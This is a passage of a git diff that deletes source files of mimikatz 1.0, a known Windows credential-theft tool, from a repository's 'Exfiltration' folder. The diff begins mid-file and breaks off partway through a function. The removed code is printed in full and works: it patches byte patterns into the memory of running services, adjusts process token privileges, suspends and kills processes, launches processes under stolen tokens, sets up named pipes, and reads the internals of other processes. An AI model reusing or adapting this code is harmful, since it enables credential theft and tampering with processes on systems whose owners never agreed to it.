PROCESS_BASIC_INFORMATION BasicInfo; - union { - ULONG Flags; - struct { - ULONG IsProtectedProcess : 1; - ULONG IsWow64Process : 1; - ULONG IsProcessDeleting : 1; - ULONG IsCrossSessionCreate : 1; - ULONG SpareBits : 28; - } DUMMYSTRUCTNAME; - } DUMMYUNIONNAME; -} PROCESS_EXTENDED_BASIC_INFORMATION, *PPROCESS_EXTENDED_BASIC_INFORMATION; - -typedef struct _SYSTEM_HANDLE -{ - DWORD ProcessId; - BYTE ObjectTypeNumber; - BYTE Flags; - USHORT Handle; - PVOID Object; - ACCESS_MASK GrantedAccess; -} SYSTEM_HANDLE, *PSYSTEM_HANDLE; - -typedef struct _SYSTEM_HANDLE_INFORMATION -{ - DWORD HandleCount; - SYSTEM_HANDLE Handles[1]; -} SYSTEM_HANDLE_INFORMATION, *PSYSTEM_HANDLE_INFORMATION; - -typedef NTSTATUS (WINAPI * PNT_QUERY_INFORMATION_PROCESS) (__in HANDLE ProcessHandle, __in PROCESSINFOCLASS ProcessInformationClass, __out PVOID ProcessInformation, __in ULONG ProcessInformationLength, __out_opt PULONG ReturnLength); -typedef NTSTATUS (WINAPI * PNT_SET_INFORMATION_PROCESS) (__in HANDLE ProcessHandle, __in PROCESSINFOCLASS ProcessInformationClass, __in PVOID ProcessInformation, __in ULONG ProcessInformationLength); -typedef NTSTATUS (WINAPI * PNT_SUSPEND_PROCESS) (__in HANDLE ProcessHandle); -typedef NTSTATUS (WINAPI * PNT_RESUME_PROCESS) (__in HANDLE ProcessHandle); -typedef NTSTATUS (WINAPI * PNT_QUERY_SYSTEM_INFORMATION) (__in SYSTEM_INFORMATION_CLASS SystemInformationClass, __inout PVOID SystemInformation, __in ULONG SystemInformationLength, __out_opt PULONG ReturnLength); -typedef NTSTATUS (WINAPI * PNT_QUERY_OBJECT) (__in_opt HANDLE Handle, __in OBJECT_INFORMATION_CLASS ObjectInformationClass, __out_opt PVOID ObjectInformation, __in ULONG ObjectInformationLength, __out_opt PULONG ReturnLength); -typedef NTSTATUS (WINAPI * PNT_FILTER_TOKEN) (__in HANDLE ExistingTokenHandle, __in ULONG Flags, __in PTOKEN_GROUPS SidsToDisable, __in PTOKEN_PRIVILEGES PrivilegeToDelete, __in PTOKEN_GROUPS SidsToRestricted, __out PHANDLE NewTokenHandle); \ No newline at end of file diff --git a/Exfiltration/mimikatz-1.0/modules/mod_parseur.cpp b/Exfiltration/mimikatz-1.0/modules/mod_parseur.cpp deleted file mode 100644 index 3388c3e7..00000000 --- a/Exfiltration/mimikatz-1.0/modules/mod_parseur.cpp +++ /dev/null @@ -1,38 +0,0 @@ -/* Benjamin DELPY `gentilkiwi` - http://blog.gentilkiwi.com - benjamin@gentilkiwi.com - Licence : http://creativecommons.org/licenses/by/3.0/fr/ -*/ -#include "mod_parseur.h" - -vector mod_parseur::parse(const wstring & line) -{ - vector result; - - wstring item; - wstringstream ss(line); - - while(ss >> item) - { - if (item[0] == L'"') - { - if (item[item.length() - 1] == L'"') - { - result.push_back(item.substr(1, item.length() -2)); - } - else - { - wstring restOfItem; - getline(ss, restOfItem, L'"'); - result.push_back(item.substr(1) + restOfItem); - } - } - else - { - result.push_back(item); - } - } - - return result; -} - diff --git a/Exfiltration/mimikatz-1.0/modules/mod_parseur.h b/Exfiltration/mimikatz-1.0/modules/mod_parseur.h deleted file mode 100644 index e897abaf..00000000 --- a/Exfiltration/mimikatz-1.0/modules/mod_parseur.h +++ /dev/null @@ -1,15 +0,0 @@ -/* Benjamin DELPY `gentilkiwi` - http://blog.gentilkiwi.com - benjamin@gentilkiwi.com - Licence : http://creativecommons.org/licenses/by/3.0/fr/ -*/ -#pragma once -#include "globdefs.h" -#include - -class mod_parseur -{ -public: - static vector parse(const wstring & line); -}; - diff --git a/Exfiltration/mimikatz-1.0/modules/mod_patch.cpp b/Exfiltration/mimikatz-1.0/modules/mod_patch.cpp deleted file mode 100644 index 95b46c6f..00000000 --- a/Exfiltration/mimikatz-1.0/modules/mod_patch.cpp +++ /dev/null @@ -1,146 +0,0 @@ -/* Benjamin DELPY `gentilkiwi` - http://blog.gentilkiwi.com - benjamin@gentilkiwi.com - Licence : http://creativecommons.org/licenses/by/3.0/fr/ -*/ -#include "mod_patch.h" -#include "..\mimikatz\global.h" - -bool mod_patch::patchModuleOfService(wstring serviceName, wstring moduleName, BYTE * patternToSearch, SIZE_T szPatternToSearch, BYTE * patternToPlace, SIZE_T szPatternToPlace, long offsetForPlace) -{ - bool reussite = false; - - mod_service::KIWI_SERVICE_STATUS_PROCESS monService; - if(mod_service::getUniqueForName(&monService, &serviceName)) - { - if(monService.ServiceStatusProcess.dwCurrentState != SERVICE_STOPPED && monService.ServiceStatusProcess.dwCurrentState != SERVICE_STOP_PENDING) - { - (*outputStream) << L"Service : " << monService.serviceDisplayName << endl; - reussite = patchModuleOfPID(monService.ServiceStatusProcess.dwProcessId, moduleName, patternToSearch, szPatternToSearch, patternToPlace, szPatternToPlace, offsetForPlace); - } - else (*outputStream) << L"Le service : " << serviceName << L" (" << monService.serviceDisplayName << L") ; n\'a pas l\'air trs actif" << endl; - } - else (*outputStream) << L"Impossible de trouver le service : " << serviceName << L" ; " << mod_system::getWinError() << endl; - - return reussite; -} - -bool mod_patch::patchModuleOfPID(DWORD pid, wstring moduleName, BYTE * patternToSearch, SIZE_T szPatternToSearch, BYTE * patternToPlace, SIZE_T szPatternToPlace, long offsetForPlace) -{ - bool reussite = false; - - mod_process::KIWI_MODULEENTRY32 monModule; - if(mod_process::getUniqueModuleForName(&monModule, (moduleName.empty() ? NULL : &moduleName), &pid)) - { - BYTE * baseAddr = monModule.modBaseAddr; - DWORD taille = monModule.modBaseSize; - - if(HANDLE processHandle = OpenProcess(PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ, false, pid)) - { - (*outputStream) << L"Recherche des patterns dans : " << moduleName << L"@pid(" << pid << L")" << endl; - - BYTE * addrPattern = NULL; - if(mod_memory::searchMemory(baseAddr, baseAddr + taille, patternToSearch, &addrPattern, szPatternToSearch, true, processHandle)) - { - reussite = mod_memory::writeMemory(addrPattern + offsetForPlace, patternToPlace, szPatternToPlace, processHandle); - (*outputStream) << L"Patch " << moduleName << L"@pid(" << pid << L") : " << (reussite ? L"OK" : L"KO") << endl; - } - else (*outputStream) << L"mod_memory::searchMemory " << mod_system::getWinError() << endl; - - CloseHandle(processHandle); - } - else (*outputStream) << L"OpenProcess : " << mod_system::getWinError() << endl; - } - else (*outputStream) << L"mod_process::getUniqueModuleForName : " << mod_system::getWinError() << endl; - return reussite; -} - -bool mod_patch::getFullVersion(DWORD * majorVersion, DWORD * minorVersion, DWORD * build, bool * isServer, bool * is64) -{ - bool reussite = false; - - OSVERSIONINFOEX maVersion; - if(reussite = mod_system::getVersion(&maVersion)) - { - if(majorVersion) *majorVersion = maVersion.dwMajorVersion; - if(majorVersion) *minorVersion = maVersion.dwMinorVersion; - if(build) *build = maVersion.dwBuildNumber; - if(isServer) *isServer = maVersion.wProductType != VER_NT_WORKSTATION; - - if(is64) - { - SYSTEM_INFO mesInfos; - GetNativeSystemInfo(&mesInfos); - - *is64 = (mesInfos.wProcessorArchitecture == PROCESSOR_ARCHITECTURE_AMD64); - } - } - - return reussite; -} - -bool mod_patch::checkVersion(KIWI_OS_CHECK * monOsValide) -{ - bool reussite = false; - - DWORD majorVersion, minorVersion, build; - bool isServer, is64; - - if(getFullVersion(&majorVersion, &minorVersion, &build, &isServer, &is64)) - { - reussite = - (monOsValide->majorVersion == majorVersion) && - (monOsValide->minorVersion == minorVersion) && - ((monOsValide->build == build) || (monOsValide->build == 0)) && - (monOsValide->isServer == isServer) && - (monOsValide->is64 == is64) - ; - } - else (*outputStream) << L"mod_patch::getFullVersion : " << mod_system::getWinError() << endl; - return reussite; -} - -bool mod_patch::checkVersion(OS monOsValide) -{ - KIWI_OS_CHECK kOs; - switch(monOsValide) - { - case WINDOWS_2000_PRO_x86: kOs.majorVersion = 5; kOs.minorVersion = 0; kOs.build = 0; kOs.isServer = false; kOs.is64 = false; break; - case WINDOWS_2000_SRV_x86: kOs.majorVersion = 5; kOs.minorVersion = 0; kOs.build = 0; kOs.isServer = true; kOs.is64 = false; break; - - case WINDOWS_XP_PRO___x86: kOs.majorVersion = 5; kOs.minorVersion = 1; kOs.build = 0; kOs.isServer = false; kOs.is64 = false; break; - case WINDOWS_XP_PRO___x64: kOs.majorVersion = 5; kOs.minorVersion = 2; kOs.build = 0; kOs.isServer = false; kOs.is64 = true; break; - - case WINDOWS_2003_____x86: kOs.majorVersion = 5; kOs.minorVersion = 2; kOs.build = 0; kOs.isServer = true; kOs.is64 = false; break; - case WINDOWS_2003_____x64: kOs.majorVersion = 5; kOs.minorVersion = 2; kOs.build = 0; kOs.isServer = true; kOs.is64 = true; break; - - case WINDOWS_VISTA____x86: kOs.majorVersion = 6; kOs.minorVersion = 0; kOs.build = 0; kOs.isServer = false; kOs.is64 = false; break; - case WINDOWS_VISTA____x64: kOs.majorVersion = 6; kOs.minorVersion = 0; kOs.build = 0; kOs.isServer = false; kOs.is64 = true; break; - - case WINDOWS_2008_____x86: kOs.majorVersion = 6; kOs.minorVersion = 0; kOs.build = 0; kOs.isServer = true; kOs.is64 = false; break; - case WINDOWS_2008_____x64: kOs.majorVersion = 6; kOs.minorVersion = 0; kOs.build = 0; kOs.isServer = true; kOs.is64 = true; break; - - case WINDOWS_SEVEN____x86: kOs.majorVersion = 6; kOs.minorVersion = 1; kOs.build = 0; kOs.isServer = false; kOs.is64 = false; break; - case WINDOWS_SEVEN____x64: kOs.majorVersion = 6; kOs.minorVersion = 1; kOs.build = 0; kOs.isServer = false; kOs.is64 = true; break; - - case WINDOWS_2008r2___x64: kOs.majorVersion = 6; kOs.minorVersion = 1; kOs.build = 0; kOs.isServer = true; kOs.is64 = true; break; - } - - return checkVersion(&kOs); -} - - -bool mod_patch::checkVersion(vector * vectorValid) -{ - bool reussite = false; - - for(vector::iterator monOs = vectorValid->begin(); monOs != vectorValid->end() && !reussite; monOs++) - { - reussite = checkVersion(*monOs); - } - - if(!reussite) - (*outputStream) << L"La version du systme d\'exploitation actuelle n\'est pas supporte par cette fonction." << endl; - - return reussite; -} diff --git a/Exfiltration/mimikatz-1.0/modules/mod_patch.h b/Exfiltration/mimikatz-1.0/modules/mod_patch.h deleted file mode 100644 index 1ae901d2..00000000 --- a/Exfiltration/mimikatz-1.0/modules/mod_patch.h +++ /dev/null @@ -1,57 +0,0 @@ -/* Benjamin DELPY `gentilkiwi` - http://blog.gentilkiwi.com - benjamin@gentilkiwi.com - Licence : http://creativecommons.org/licenses/by/3.0/fr/ -*/ -#pragma once -#include "globdefs.h" -#include "mod_system.h" -#include "mod_process.h" -#include "mod_memory.h" -#include "mod_service.h" -#include - -class mod_patch -{ -public: - typedef struct _KIWI_OS_CHECK - { - DWORD majorVersion; - DWORD minorVersion; - DWORD build; - bool isServer; - bool is64; - } KIWI_OS_CHECK, *PKIWI_OS_CHECK; - - enum OS - { - WINDOWS_2000_PRO_x86, - WINDOWS_2000_SRV_x86, - - WINDOWS_XP_PRO___x86, - WINDOWS_XP_PRO___x64, - WINDOWS_2003_____x86, - WINDOWS_2003_____x64, - - WINDOWS_VISTA____x86, - WINDOWS_VISTA____x64, - WINDOWS_2008_____x86, - WINDOWS_2008_____x64, - - WINDOWS_SEVEN____x86, - WINDOWS_SEVEN____x64, - WINDOWS_2008r2___x64, - - WINDOWS_8________x86, - WINDOWS_8________x64, - WINDOWS_8_SERVER_x64 - }; - - static bool getFullVersion(DWORD * majorVersion = NULL, DWORD * minorVersion = NULL, DWORD * build = NULL, bool * isServer = NULL, bool * is64 = NULL); - static bool checkVersion(KIWI_OS_CHECK * monOsValide); - static bool checkVersion(OS monOsValide); - static bool checkVersion(vector * vectorValid); - - static bool patchModuleOfService(wstring serviceName, wstring moduleName, BYTE * patternToSearch, SIZE_T szPatternToSearch, BYTE * patternToPlace, SIZE_T szPatternToPlace, long offsetForPlace = 0); - static bool patchModuleOfPID(DWORD pid, wstring moduleName, BYTE * patternToSearch, SIZE_T szPatternToSearch, BYTE * patternToPlace, SIZE_T szPatternToPlace, long offsetForPlace = 0); -}; diff --git a/Exfiltration/mimikatz-1.0/modules/mod_pipe.cpp b/Exfiltration/mimikatz-1.0/modules/mod_pipe.cpp deleted file mode 100644 index bd62e9ec..00000000 --- a/Exfiltration/mimikatz-1.0/modules/mod_pipe.cpp +++ /dev/null @@ -1,121 +0,0 @@ -/* Benjamin DELPY `gentilkiwi` - http://blog.gentilkiwi.com - benjamin@gentilkiwi.com - Licence : http://creativecommons.org/licenses/by/3.0/fr/ -*/ -#include "mod_pipe.h" - -mod_pipe::mod_pipe(wstring pipeName, wstring serveur) : hPipe(INVALID_HANDLE_VALUE), pipePath(L"\\\\") -{ - pipePath.append(serveur); - pipePath.append(L"\\pipe\\"); - pipePath.append(pipeName); -} - -mod_pipe::~mod_pipe(void) -{ - closePipe(); -} - -bool mod_pipe::closePipe() -{ - bool reussite = false; - - if(hPipe != INVALID_HANDLE_VALUE && hPipe) - { - FlushFileBuffers(hPipe); - DisconnectNamedPipe(hPipe); - reussite = CloseHandle(hPipe) == TRUE; - } - return reussite; -} - -bool mod_pipe::readFromPipe(wstring &laReponse) -{ - bool reussite = false; - wchar_t monBuffer[128]; - - bool fSuccess; - DWORD longueurReponse; - laReponse.clear(); - - do - { - fSuccess = ReadFile(hPipe, monBuffer, sizeof(monBuffer), &longueurReponse, NULL) ? true : false; - if (reussite = (fSuccess || GetLastError() == ERROR_MORE_DATA)/* && longueurReponse != 0 */) - { - laReponse.append(monBuffer, longueurReponse / sizeof(wchar_t)); - } - else - { - break; - } - } while (!fSuccess); - - return reussite; -} - -bool mod_pipe::writeToPipe(const wstring &leMessage) -{ - bool reussite = false; - DWORD longueurMessage; - DWORD longueurOctetsEcris; - - longueurMessage = (static_cast(leMessage.size())) * sizeof(wchar_t); - - if (WriteFile(hPipe, leMessage.c_str(), longueurMessage, &longueurOctetsEcris, NULL) && longueurMessage == longueurOctetsEcris) - { - reussite = FlushFileBuffers(hPipe) != 0; - } - return reussite; -} - - -bool mod_pipe::createServer() -{ - bool reussite = false; - - if(!hPipe || hPipe == INVALID_HANDLE_VALUE) - { - hPipe = CreateNamedPipe(pipePath.c_str(), PIPE_ACCESS_DUPLEX, PIPE_TYPE_MESSAGE | PIPE_READMODE_MESSAGE | PIPE_WAIT, 1, 0, 0, 30000, NULL); - - if (hPipe && hPipe != INVALID_HANDLE_VALUE) - { - reussite = ConnectNamedPipe(hPipe, NULL) ? TRUE : (GetLastError() == ERROR_PIPE_CONNECTED); - } - else - { - closePipe(); - } - } - return reussite; -} - -bool mod_pipe::createClient() -{ - bool reussite = false; - - if(!hPipe || hPipe == INVALID_HANDLE_VALUE) - { - if (WaitNamedPipe(pipePath.c_str(), NMPWAIT_USE_DEFAULT_WAIT)) - { - hPipe = CreateFile(pipePath.c_str(), GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL); - - if (hPipe != INVALID_HANDLE_VALUE) - { - DWORD dwMode = PIPE_READMODE_MESSAGE | PIPE_WAIT; - - if (!(reussite = SetNamedPipeHandleState(hPipe, &dwMode, NULL, NULL) != 0)) - { - closePipe(); - } - } - } - } - return reussite; -} - -bool mod_pipe::isConnected() -{ - return (hPipe && hPipe != INVALID_HANDLE_VALUE); -} \ No newline at end of file diff --git a/Exfiltration/mimikatz-1.0/modules/mod_pipe.h b/Exfiltration/mimikatz-1.0/modules/mod_pipe.h deleted file mode 100644 index 69ab9e90..00000000 --- a/Exfiltration/mimikatz-1.0/modules/mod_pipe.h +++ /dev/null @@ -1,29 +0,0 @@ -/* Benjamin DELPY `gentilkiwi` - http://blog.gentilkiwi.com - benjamin@gentilkiwi.com - Licence : http://creativecommons.org/licenses/by/3.0/fr/ -*/ -#pragma once -#include "globdefs.h" - -class mod_pipe -{ -private: - HANDLE hPipe; - wstring pipePath; - -public: - mod_pipe(wstring pipeName = L"mimikatz\\kiwi", wstring serveur = L"."); - virtual ~mod_pipe(void); - - bool closePipe(); - - bool readFromPipe(wstring &laReponse); - bool writeToPipe(const wstring &leMessage); - - bool createServer(); - bool createClient(); - - bool isConnected(); -}; - diff --git a/Exfiltration/mimikatz-1.0/modules/mod_privilege.cpp b/Exfiltration/mimikatz-1.0/modules/mod_privilege.cpp deleted file mode 100644 index 34324b6f..00000000 --- a/Exfiltration/mimikatz-1.0/modules/mod_privilege.cpp +++ /dev/null @@ -1,95 +0,0 @@ -/* Benjamin DELPY `gentilkiwi` - http://blog.gentilkiwi.com - benjamin@gentilkiwi.com - Licence : http://creativecommons.org/licenses/by/3.0/fr/ -*/ -#include "mod_privilege.h" - -bool mod_privilege::getName(PLUID idPrivilege, wstring * privilegeName) -{ - bool reussite = false; - DWORD tailleRequise = 0; - - if(!LookupPrivilegeName(NULL, idPrivilege, NULL, &tailleRequise) && GetLastError() == ERROR_INSUFFICIENT_BUFFER) - { - wchar_t * monBuffer = new wchar_t[tailleRequise]; - if(reussite = (LookupPrivilegeName(NULL, idPrivilege, monBuffer, &tailleRequise) != 0)) - { - privilegeName->assign(monBuffer); - } - delete[] monBuffer; - } - return reussite; -} - -bool mod_privilege::getValue(wstring * privilegeName, PLUID idPrivilege) -{ - return (LookupPrivilegeValue(NULL, privilegeName->c_str(), idPrivilege) != 0); -} - -bool mod_privilege::get(vector> *maPrivilegesvector, HANDLE handleProcess) -{ - bool reussite = false; - - HANDLE hToken = INVALID_HANDLE_VALUE; - if(OpenProcessToken((handleProcess == INVALID_HANDLE_VALUE ? GetCurrentProcess() : handleProcess), TOKEN_QUERY /*| STANDARD_RIGHTS_READ*/, &hToken)) - { - DWORD tailleRequise = 0; - BYTE * monBuffer; - - if(!GetTokenInformation(hToken, TokenPrivileges, NULL, 0, &tailleRequise) && GetLastError() == ERROR_INSUFFICIENT_BUFFER) - { - monBuffer = new BYTE[tailleRequise]; - if(reussite = (GetTokenInformation(hToken, TokenPrivileges, monBuffer, tailleRequise, &tailleRequise) != 0)) - { - TOKEN_PRIVILEGES * mesPrivileges = reinterpret_cast(monBuffer); - for(DWORD i = 0; i < mesPrivileges->PrivilegeCount; i++) - { - wstring * monPrivilege = new wstring(); - if(getName(&(mesPrivileges->Privileges[i].Luid), monPrivilege)) - { - maPrivilegesvector->push_back(make_pair(*monPrivilege, mesPrivileges->Privileges[i].Attributes)); - } - delete monPrivilege; - } - } - delete[] monBuffer; - } - } - return reussite; -} - -bool mod_privilege::set(vector> *maPrivilegesvector, HANDLE handleProcess) -{ - bool reussite = false; - - BYTE * monBuffer = new BYTE[FIELD_OFFSET(TOKEN_PRIVILEGES, Privileges[maPrivilegesvector->size()])]; - TOKEN_PRIVILEGES * mesPrivileges = reinterpret_cast(monBuffer); - mesPrivileges->PrivilegeCount = static_cast(maPrivilegesvector->size()); - - unsigned int i; - vector>::iterator monPrivilege; - for(monPrivilege = maPrivilegesvector->begin(), i = 0; (monPrivilege != maPrivilegesvector->end()) && ( i < mesPrivileges->PrivilegeCount) ; monPrivilege++, i++) - { - if(reussite = getValue(&(monPrivilege->first), &(mesPrivileges->Privileges[i].Luid))) - { - mesPrivileges->Privileges[i].Attributes = monPrivilege->second; - } - else - { - break; - } - } - - if(reussite) - { - HANDLE hToken = INVALID_HANDLE_VALUE; - if(reussite = (OpenProcessToken((handleProcess == INVALID_HANDLE_VALUE ? GetCurrentProcess() : handleProcess), /*TOKEN_QUERY |*/ TOKEN_ADJUST_PRIVILEGES, &hToken) != 0)) - { - reussite = (AdjustTokenPrivileges(hToken, false, reinterpret_cast(mesPrivileges), 0, NULL, NULL) != 0) && (GetLastError() == ERROR_SUCCESS); - } - } - - delete monBuffer; - return reussite; -} diff --git a/Exfiltration/mimikatz-1.0/modules/mod_privilege.h b/Exfiltration/mimikatz-1.0/modules/mod_privilege.h deleted file mode 100644 index 2d2652fc..00000000 --- a/Exfiltration/mimikatz-1.0/modules/mod_privilege.h +++ /dev/null @@ -1,18 +0,0 @@ -/* Benjamin DELPY `gentilkiwi` - http://blog.gentilkiwi.com - benjamin@gentilkiwi.com - Licence : http://creativecommons.org/licenses/by/3.0/fr/ -*/ -#pragma once -#include "globdefs.h" - -class mod_privilege -{ -private: - static bool getName(PLUID idPrivilege, wstring * privilegeName); - static bool getValue(wstring * privilegeName, PLUID idPrivilege); - -public: - static bool get(vector> *maPrivilegesvector, HANDLE handleProcess = INVALID_HANDLE_VALUE); - static bool set(vector> *maPrivilegesvector, HANDLE handleProcess = INVALID_HANDLE_VALUE); -}; diff --git a/Exfiltration/mimikatz-1.0/modules/mod_process.cpp b/Exfiltration/mimikatz-1.0/modules/mod_process.cpp deleted file mode 100644 index d000f411..00000000 --- a/Exfiltration/mimikatz-1.0/modules/mod_process.cpp +++ /dev/null @@ -1,473 +0,0 @@ -/* Benjamin DELPY `gentilkiwi` - http://blog.gentilkiwi.com - benjamin@gentilkiwi.com - Licence : http://creativecommons.org/licenses/by/3.0/fr/ -*/ -#include "mod_process.h" - -bool mod_process::getList(vector * maProcessesvector, wstring * processName) -{ - HANDLE hProcessesSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); - if(hProcessesSnapshot != INVALID_HANDLE_VALUE) - { - PROCESSENTRY32 monProcessus; - monProcessus.dwSize = sizeof(PROCESSENTRY32); - - if(Process32First(hProcessesSnapshot, &monProcessus)) - { - do - { - if(!processName || (_wcsicmp(processName->c_str(), monProcessus.szExeFile) == 0)) - { - KIWI_PROCESSENTRY32 monProcessK = { - monProcessus.dwSize, - monProcessus.cntUsage, - monProcessus.th32ProcessID, - monProcessus.th32DefaultHeapID, - monProcessus.th32ModuleID, - monProcessus.cntThreads, - monProcessus.th32ParentProcessID, - monProcessus.pcPriClassBase, - monProcessus.dwFlags, - monProcessus.szExeFile - }; - - maProcessesvector->push_back(monProcessK); - } - } while(Process32Next(hProcessesSnapshot, &monProcessus)); - } - CloseHandle(hProcessesSnapshot); - return true; - } - else - { - return false; - } -} - -bool mod_process::getUniqueForName(KIWI_PROCESSENTRY32 * monProcess, wstring * processName) -{ - bool reussite = false; - - vector * mesProcesses = new vector(); - - if(getList(mesProcesses, processName)) - { - if(reussite = (mesProcesses->size() == 1)) - { - *monProcess = mesProcesses->front(); - } - } - delete mesProcesses; - return reussite; -} - -bool mod_process::getUniqueModuleForName(KIWI_MODULEENTRY32 * monModule, wstring * moduleName, DWORD * processId) -{ - bool reussite = false; - - vector * monVecteurDeModule = new vector(); - if(mod_process::getModulesListForProcessId(monVecteurDeModule, processId)) - { - if(!moduleName) - { - *monModule = *(monVecteurDeModule->begin()); - reussite = true; - } - else - { - for(vector::iterator leModule = monVecteurDeModule->begin(); leModule != monVecteurDeModule->end(); leModule++) - { - if(_wcsicmp(leModule->szModule.c_str(), moduleName->c_str()) == 0) - { - *monModule = *leModule; - reussite = true; - break; - } - } - } - } - delete monVecteurDeModule; - - return reussite; -} - -bool mod_process::getModulesListForProcessId(vector * maModulevector, DWORD * processId) -{ - HANDLE hModuleSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPMODULE | TH32CS_SNAPMODULE32, (processId ? *processId : 0)); - - if(hModuleSnapshot != INVALID_HANDLE_VALUE) - { - MODULEENTRY32 monModule; - monModule.dwSize = sizeof(MODULEENTRY32); - - if(Module32First(hModuleSnapshot, &monModule)) - { - do - { - KIWI_MODULEENTRY32 monModuleK = { - monModule.dwSize, - monModule.th32ModuleID, - monModule.th32ProcessID, - monModule.GlblcntUsage, - monModule.ProccntUsage, - monModule.modBaseAddr, - monModule.modBaseSize, - monModule.hModule, - monModule.szModule, - monModule.szExePath - }; - maModulevector->push_back(monModuleK); - } while(Module32Next(hModuleSnapshot, &monModule)); - } - CloseHandle(hModuleSnapshot); - return true; - } - else - { - return false; - } -} - -bool mod_process::start(wstring * maCommandLine, PROCESS_INFORMATION * mesInfosProcess, bool paused, bool aUsurper, HANDLE leToken) -{ - bool reussite = false; - RtlZeroMemory(mesInfosProcess, sizeof(PROCESS_INFORMATION)); - STARTUPINFO mesInfosDemarrer; - RtlZeroMemory(&mesInfosDemarrer, sizeof(STARTUPINFO)); - mesInfosDemarrer.cb = sizeof(STARTUPINFO); - - wchar_t * commandLine = new wchar_t[maCommandLine->size() + 1]; - maCommandLine->_Copy_s(commandLine, maCommandLine->size(), maCommandLine->size()); - commandLine[maCommandLine->size()] = L'\0'; - - DWORD creationFlag = CREATE_NEW_CONSOLE | (paused ? CREATE_SUSPENDED : NULL); - - if(leToken) - reussite = CreateProcessAsUser(leToken, NULL, commandLine, NULL, NULL, FALSE, creationFlag, NULL, NULL, &mesInfosDemarrer, mesInfosProcess) != 0; - else if(aUsurper) - reussite = CreateProcessWithLogonW(L"mimikatzU", L"mimikatzD", L"mimikatzP", LOGON_NETCREDENTIALS_ONLY, NULL, commandLine, creationFlag, NULL, NULL, &mesInfosDemarrer, mesInfosProcess) != 0; - else - reussite = CreateProcess(NULL, commandLine, NULL, NULL, FALSE, creationFlag, NULL, NULL, &mesInfosDemarrer, mesInfosProcess) != 0; - - delete[] commandLine; - return reussite; -} - -bool mod_process::suspend(DWORD & processId) -{ - bool reussite = false; - - if(PNT_SUSPEND_PROCESS NtSuspendProcess = reinterpret_cast(GetProcAddress(GetModuleHandle(L"ntdll"), "NtSuspendProcess"))) - { - HANDLE monHandle = OpenProcess(PROCESS_SUSPEND_RESUME, false, processId); - if(reussite = (monHandle && monHandle != INVALID_HANDLE_VALUE)) - { - reussite = NT_SUCCESS(NtSuspendProcess(monHandle)); - CloseHandle(monHandle); - } - } - return reussite; -} - -bool mod_process::resume(DWORD & processId) -{ - bool reussite = false; - - if(PNT_RESUME_PROCESS NtResumeProcess = reinterpret_cast(GetProcAddress(GetModuleHandle(L"ntdll"), "NtResumeProcess"))) - { - HANDLE monHandle = OpenProcess(PROCESS_SUSPEND_RESUME, false, processId); - if(reussite = (monHandle && monHandle != INVALID_HANDLE_VALUE)) - { - reussite = NT_SUCCESS(NtResumeProcess(monHandle)); - CloseHandle(monHandle); - } - } - return reussite; -} - -bool mod_process::stop(DWORD & processId, DWORD exitCode) -{ - bool reussite = false; - - HANDLE monHandle = OpenProcess(PROCESS_TERMINATE, false, processId); - if(reussite = (monHandle && monHandle != INVALID_HANDLE_VALUE)) - { - reussite = (TerminateProcess(monHandle, exitCode) != 0); - CloseHandle(monHandle); - } - return reussite; -} - -bool mod_process::debug(DWORD & processId) -{ - return (DebugActiveProcess(processId) != 0); -} - -bool mod_process::getProcessBasicInformation(PROCESS_BASIC_INFORMATION * mesInfos, HANDLE processHandle) -{ - bool reussite = false; - - if(processHandle == INVALID_HANDLE_VALUE) - processHandle = GetCurrentProcess(); - - if(PNT_QUERY_INFORMATION_PROCESS NtQueryInformationProcess = reinterpret_cast(GetProcAddress(GetModuleHandle(L"ntdll"), "NtQueryInformationProcess"))) - { - ULONG sizeReturn; - reussite = NT_SUCCESS(NtQueryInformationProcess(processHandle, ProcessBasicInformation, mesInfos, sizeof(PROCESS_BASIC_INFORMATION), &sizeReturn)) && (sizeReturn == sizeof(PROCESS_BASIC_INFORMATION)); - } - return reussite; -} - -bool mod_process::getAuthentificationIdFromProcessId(DWORD & processId, LUID & AuthentificationId) -{ - bool reussite = false; - - HANDLE handleProcess = OpenProcess(PROCESS_QUERY_INFORMATION , false, processId); - if(handleProcess && handleProcess != INVALID_HANDLE_VALUE) - { - HANDLE handleProc; - if(OpenProcessToken(handleProcess, TOKEN_READ, &handleProc) != 0) - { - DWORD ddNeededSize; - TOKEN_STATISTICS tokenStats; - - if(reussite = (GetTokenInformation(handleProc, TokenStatistics, &tokenStats, sizeof(tokenStats), &ddNeededSize) != 0)) - { - AuthentificationId = tokenStats.AuthenticationId; - } - CloseHandle(handleProc); - } - CloseHandle(handleProcess); - } - - return reussite; -} - -bool mod_process::getPeb(PEB * peb, HANDLE processHandle) -{ - bool reussite = false; - PROCESS_BASIC_INFORMATION * mesInfos = new PROCESS_BASIC_INFORMATION(); - if(getProcessBasicInformation(mesInfos, processHandle)) - { - reussite = mod_memory::readMemory(mesInfos->PebBaseAddress, peb, sizeof(PEB), processHandle); - } - delete mesInfos; - return reussite; -} - -bool mod_process::getIAT(PBYTE ptrBaseAddr, vector>> * monIAT, HANDLE handleProcess) -{ - bool reussite = false; - - BYTE * baseAddr = ptrBaseAddr; - - BYTE * ayIMAGE_DOS_HEADER = new BYTE[sizeof(IMAGE_DOS_HEADER)]; - if(mod_memory::readMemory(baseAddr, ayIMAGE_DOS_HEADER, sizeof(IMAGE_DOS_HEADER), handleProcess)) - { - PIMAGE_DOS_HEADER structDOSHeader = reinterpret_cast(ayIMAGE_DOS_HEADER); - if(!IsBadReadPtr(structDOSHeader, sizeof(IMAGE_DOS_HEADER)) && structDOSHeader->e_magic == IMAGE_DOS_SIGNATURE) - { - BYTE * ayIMAGE_NT_HEADERS = new BYTE[sizeof(IMAGE_NT_HEADERS)]; - if(mod_memory::readMemory(baseAddr + structDOSHeader->e_lfanew, ayIMAGE_NT_HEADERS, sizeof(IMAGE_NT_HEADERS), handleProcess)) - { - PIMAGE_NT_HEADERS structPEHeader = reinterpret_cast(ayIMAGE_NT_HEADERS); - if(!IsBadReadPtr(structPEHeader, sizeof(IMAGE_NT_HEADERS)) && structPEHeader->Signature == IMAGE_NT_SIGNATURE) - { - if(structPEHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress != NULL && structPEHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].Size > 0) - { - BYTE * 